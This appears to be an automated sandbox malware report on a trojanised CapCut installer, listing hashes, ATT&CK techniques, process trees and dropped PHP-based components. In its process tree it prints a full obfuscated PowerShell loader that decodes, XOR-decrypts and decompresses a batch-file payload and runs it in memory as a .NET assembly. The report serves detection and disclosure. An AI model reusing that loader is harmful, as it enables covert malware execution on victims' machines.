640a873a9bdc77ddd340a9196fece62dcbfd3e6bdeec787f60d882a59a4ca264

Analysis

max time kernel
141s
max time network
137s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02-10-2024 05:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

capcut_capcutpc_0_1.2.6_installer.exe
Size

57.9MB
MD5

66efd16409a8d0fb01e18c4bc45620d6
SHA1

ecce01f15f04a5af6cd692041681fbe76acceff3
SHA256

30aa9e4a28393348f245be4d8becf75846e32da0591d6ba4440f4772f9c2c2cf
SHA512

45d3f38b4b000d948af898f97d0e8a56441a4ecb2244eacc0ac79616d653c902e5fffe4ba7ec0ffb425af4328e3d068865f2747eaea7b4bae19ead116aa134cb
SSDEEP

1572864:sXDgU7aTp2fTWYIQklIK+Z280QLzzTmkxyZYfDmI0t:sXDL7aTp2nJMH+Z2tQLzHYZSRy

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2516	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Control Panel\International\Geo\Nation	CapCut.exe
Key value queried	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Control Panel\International\Geo\Nation	CapCut.exe

Executes dropped EXE 18 IoCs

pid	Process
2016	CapCut.exe
1796	CapCut.exe
3048	CapCut.exe
2336	CapCut.exe
1664	CapCut.exe
1948	CapCut.exe
2928	CapCut.exe
1936	php.exe
1312	php.exe
2784	rhc.exe
1972	rhc.exe
1768	php.exe
1824	php.exe
1652	rhc.exe
2296	rhc.exe
848	php.exe
3056	rhc.exe
2044	php.exe

Loads dropped DLL 64 IoCs

pid	Process
2364	capcut_capcutpc_0_1.2.6_installer.exe
2364	capcut_capcutpc_0_1.2.6_installer.exe
2364	capcut_capcutpc_0_1.2.6_installer.exe
2364	capcut_capcutpc_0_1.2.6_installer.exe
2364	capcut_capcutpc_0_1.2.6_installer.exe
2364	capcut_capcutpc_0_1.2.6_installer.exe
2364	capcut_capcutpc_0_1.2.6_installer.exe
2364	capcut_capcutpc_0_1.2.6_installer.exe
2364	capcut_capcutpc_0_1.2.6_installer.exe
2364	capcut_capcutpc_0_1.2.6_installer.exe
2364	capcut_capcutpc_0_1.2.6_installer.exe
1184	Process not Found
1184	Process not Found
1184	Process not Found
1184	Process not Found
2016	CapCut.exe
1496	taskmgr.exe
1496	taskmgr.exe
1796	CapCut.exe
3048	CapCut.exe
3048	CapCut.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
3048	CapCut.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
3048	CapCut.exe
2336	CapCut.exe
1664	CapCut.exe
1184	Process not Found
1496	taskmgr.exe
1496	taskmgr.exe
1948	CapCut.exe
1948	CapCut.exe
1948	CapCut.exe
1948	CapCut.exe
1496	taskmgr.exe
1496	taskmgr.exe
2928	CapCut.exe
2928	CapCut.exe
2928	CapCut.exe
2928	CapCut.exe
2928	CapCut.exe
2928	CapCut.exe
2928	CapCut.exe
2928	CapCut.exe
2928	CapCut.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1796	CapCut.exe
1796	CapCut.exe
1936	php.exe
1936	php.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
2304	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	capcut_capcutpc_0_1.2.6_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rhc.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
344	NETSTAT.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1652	rhc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2364	capcut_capcutpc_0_1.2.6_installer.exe
2304	tasklist.exe
2304	tasklist.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
2336	CapCut.exe
1796	CapCut.exe
1496	taskmgr.exe
1664	CapCut.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1768	php.exe
1496	taskmgr.exe
2068	powershell.exe
1496	taskmgr.exe
1496	taskmgr.exe
848	php.exe
2516	powershell.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1496	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	2304	tasklist.exe
Token: SeSecurityPrivilege	2364	capcut_capcutpc_0_1.2.6_installer.exe
Token: SeDebugPrivilege	1496	taskmgr.exe
Token: SeDebugPrivilege	2068	powershell.exe
Token: SeDebugPrivilege	2516	powershell.exe
Token: SeDebugPrivilege	344	NETSTAT.EXE
Token: 33	3040	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	3040	AUDIODG.EXE
Token: 33	3040	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	3040	AUDIODG.EXE

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe
1496	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 268	2364	capcut_capcutpc_0_1.2.6_installer.exe	29
PID 2364 wrote to memory of 268	2364	capcut_capcutpc_0_1.2.6_installer.exe	29
PID 2364 wrote to memory of 268	2364	capcut_capcutpc_0_1.2.6_installer.exe	29
PID 2364 wrote to memory of 268	2364	capcut_capcutpc_0_1.2.6_installer.exe	29
PID 268 wrote to memory of 2304	268	cmd.exe	31
PID 268 wrote to memory of 2304	268	cmd.exe	31
PID 268 wrote to memory of 2304	268	cmd.exe	31
PID 268 wrote to memory of 2304	268	cmd.exe	31
PID 268 wrote to memory of 2700	268	cmd.exe	32
PID 268 wrote to memory of 2700	268	cmd.exe	32
PID 268 wrote to memory of 2700	268	cmd.exe	32
PID 268 wrote to memory of 2700	268	cmd.exe	32
PID 2016 wrote to memory of 1796	2016	CapCut.exe	37
PID 2016 wrote to memory of 1796	2016	CapCut.exe	37
PID 2016 wrote to memory of 1796	2016	CapCut.exe	37
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 3048	2016	CapCut.exe	38
PID 2016 wrote to memory of 2336	2016	CapCut.exe	39
PID 2016 wrote to memory of 2336	2016	CapCut.exe	39
PID 2016 wrote to memory of 2336	2016	CapCut.exe	39
PID 2016 wrote to memory of 1664	2016	CapCut.exe	40
PID 2016 wrote to memory of 1664	2016	CapCut.exe	40
PID 2016 wrote to memory of 1664	2016	CapCut.exe	40
PID 2016 wrote to memory of 1948	2016	CapCut.exe	41
PID 2016 wrote to memory of 1948	2016	CapCut.exe	41

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\capcut_capcutpc_0_1.2.6_installer.exe
"C:\Users\Admin\AppData\Local\Temp\capcut_capcutpc_0_1.2.6_installer.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Windows\SysWOW64\cmd.exe
  cmd /c tasklist /FI "USERNAME eq %USERNAME%" /FI "IMAGENAME eq CapCut.exe" | find "CapCut.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:268
- - C:\Windows\SysWOW64\tasklist.exe
    tasklist /FI "USERNAME eq Admin" /FI "IMAGENAME eq CapCut.exe"
    3⤵
    - Enumerates processes with tasklist
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2304
- - C:\Windows\SysWOW64\find.exe
    find "CapCut.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2700

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1496

C:\Users\Admin\AppData\Local\Programs\capcut\CapCut.exe
"C:\Users\Admin\AppData\Local\Programs\capcut\CapCut.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Users\Admin\AppData\Local\Programs\capcut\CapCut.exe
  C:\Users\Admin\AppData\Local\Programs\capcut\CapCut.exe C:\Users\Admin\AppData\Local\Programs\capcut\resources\app.asar\dist\temp\temp
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  PID:1796
- - C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe
    C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe -v
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1936
- - C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe
    C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe -v
    3⤵
    - Executes dropped EXE
    PID:1312
- - C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe
    C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe C:\Users\Admin\AppData\Roaming\dcw_global\app\include.php
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2784
  - - C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe
      C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe C:\Users\Admin\AppData\Roaming\dcw_global\app\include.php
      4⤵
      Executes dropped EXE
      PID:1824
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c "PowerShell -c "Get-Date -Format 'yyyy-MM-dd HH:mm:ss'""
        5⤵
        
        PID:1372
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell -c "Get-Date -Format 'yyyy-MM-dd HH:mm:ss'"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2068
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c ""C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe" "C:\ProgramData\install.bat""
        5⤵
        
        PID:2276
      - C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe
        
        "C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe" "C:\ProgramData\install.bat"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: CmdExeWriteProcessMemorySpam
        
        PID:1652
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\ProgramData\install.bat""
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1688
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\ProgramData\install.bat"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:2208
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -c $taHD='C:\ProgramData\install.bat';$NtIb='FHirslHirsusHirshHirs'.Replace('Hirs', '');$ObcK='WHirsrHirsiHirstHirse'.Replace('Hirs', '');$ArEi='RHirseHirsaHirsd'.Replace('Hirs', '');$JrMk='LHirsoHirsaHirsd'.Replace('Hirs', '');$zoKG='EHirsnHirstHirsryHirsPoHirsinHirst'.Replace('Hirs', '');$ddJZ='IHirsnHirsvoHirskHirse'.Replace('Hirs', '');$UHEF='FrHirsoHirsmBHirsasHirse6Hirs4HirsSHirstrHirsinHirsg'.Replace('Hirs', '');$SPyy='MHirsaHirsinHirsMoHirsdHirsuHirsle'.Replace('Hirs', '');$VaHf='GHirseHirstHirsCuHirsrrHirsenHirstPHirsroHirsceHirsss'.Replace('Hirs', '');$PDYZ='ElHirsemHirsenHirstAHirst'.Replace('Hirs', '');$Retn='ReHirsadHirsLiHirsnHirseHirss'.Replace('Hirs', '');$Hdbx='ChHirsaHirsnHirsgeHirsExHirstHirseHirsnsHirsiHirsoHirsnHirs'.Replace('Hirs', '');$ublZB=[System.Linq.Enumerable]::$PDYZ([System.IO.File]::$Retn($taHD), 1);$YXXGq=$ublZB.Substring(2);function cSUex($kGFsz){$SjAZa=New-Object System.IO.MemoryStream(,$kGFsz);$zIanR=New-Object System.IO.MemoryStream;$vRvnd=New-Object System.IO.Compression.GZipStream($SjAZa,[IO.Compression.CompressionMode]::Decompress);$hRgEv = New-Object System.IO.BinaryWriter($zIanR);$bRTaW = New-Object byte[](1024);while($true){$FgteA = $vRvnd.$ArEi($bRTaW,0,1024);if($FgteA -le 0){break;}$hRgEv.$ObcK($bRTaW,0,$FgteA);$hRgEv.$NtIb();}$vRvnd.Dispose();$SjAZa.Dispose();$hRgEv.Close();$zIanR.Dispose();$zIanR.ToArray();}function JeGso($kGFsz){$PzChi=[System.Convert]::$UHEF('7hl8HDjB6KYIKdxWsK/Yv3pcVj44gbOTziIiPQGMP4k=');For ($i=0; $i -lt $kGFsz.Length; $i++){$ix = $i % $PzChi.Length;$kGFsz[$i] = $kGFsz[$i] -bxor $PzChi[$ix];}$kGFsz;}$YjPOO = cSUex(JeGso([System.Convert]::$UHEF($YXXGq)));[System.Reflection.Assembly]::$JrMk([byte[]]$YjPOO).$zoKG.$ddJZ($null,$null);
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2516
- - C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe
    C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe C:\Users\Admin\AppData\Roaming\dcw_global\app\index.php
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1972
  - - C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe
      C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe C:\Users\Admin\AppData\Roaming\dcw_global\app\index.php
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1768
- C:\Users\Admin\AppData\Local\Programs\capcut\CapCut.exe
  "C:\Users\Admin\AppData\Local\Programs\capcut\CapCut.exe" --type=gpu-process --field-trial-handle=960,675612327892499924,1727797247466973606,131072 --disable-features=PlzServiceWorker,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --user-data-dir="C:\Users\Admin\AppData\Roaming\capcut" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAANAAAAEAAAAAAAAAABAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=972 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3048
- C:\Users\Admin\AppData\Local\Programs\capcut\CapCut.exe
  "C:\Users\Admin\AppData\Local\Programs\capcut\CapCut.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=960,675612327892499924,1727797247466973606,131072 --disable-features=PlzServiceWorker,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\capcut" --standard-schemes=app --secure-schemes=app --bypasscsp-schemes --cors-schemes --fetch-schemes --service-worker-schemes --streaming-schemes --mojo-platform-channel-handle=1168 /prefetch:8
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  PID:2336
- C:\Users\Admin\AppData\Local\Programs\capcut\CapCut.exe
  "C:\Users\Admin\AppData\Local\Programs\capcut\CapCut.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\capcut" --standard-schemes=app --secure-schemes=app --bypasscsp-schemes --cors-schemes --fetch-schemes --service-worker-schemes --streaming-schemes --app-path="C:\Users\Admin\AppData\Local\Programs\capcut\resources\app.asar" --no-sandbox --no-zygote --node-integration-in-worker --field-trial-handle=960,675612327892499924,1727797247466973606,131072 --disable-features=PlzServiceWorker,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=1628 /prefetch:1
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  PID:1664
- C:\Users\Admin\AppData\Local\Programs\capcut\CapCut.exe
  "C:\Users\Admin\AppData\Local\Programs\capcut\CapCut.exe" --type=gpu-process --field-trial-handle=960,675612327892499924,1727797247466973606,131072 --disable-features=PlzServiceWorker,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --user-data-dir="C:\Users\Admin\AppData\Roaming\capcut" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAANAAAAEAAAAAAAAAABAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=804 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1948
- C:\Users\Admin\AppData\Local\Programs\capcut\CapCut.exe
  "C:\Users\Admin\AppData\Local\Programs\capcut\CapCut.exe" --type=gpu-process --field-trial-handle=960,675612327892499924,1727797247466973606,131072 --disable-features=PlzServiceWorker,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --user-data-dir="C:\Users\Admin\AppData\Roaming\capcut" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAANAAAAEAAAAAAAAAABAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=804 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2928

C:\Windows\system32\taskeng.exe
taskeng.exe {5CA94287-90D8-4B87-BE5F-B5E6C3CEEA75} S-1-5-21-457978338-2990298471-2379561640-1000:WOUOSVRD\Admin:Interactive:[1]
1⤵
PID:1932
- C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe
  C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe php.exe index.php
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2296
- - C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe
    php.exe index.php
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:848
- C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe
  C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe php.exe index.php
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3056
- - C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe
    php.exe index.php
    3⤵
    - Executes dropped EXE
    PID:2044

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
PID:2152
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  - Suspicious use of AdjustPrivilegeToken
  PID:344

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:1860

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x534
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Programs\capcut\chrome_100_percent.pak

Filesize
138KB

MD5
4f7cf265db503b21845d2df4dc903022

SHA1
970b35882db6670c81bd745bdeed11f011c609da

SHA256
c48e6d360aee16159d4be43f9144f77d3275a87b3f77eae548e357601c55fc16

SHA512
5645d2c226697c7ac69ce73e9124630696516fc18286a5579823588f93a936da71084a3850f1f9a7b34c624f4c502957107f5957ffba5e6c1e4da6d8da7d3348

Download Submit
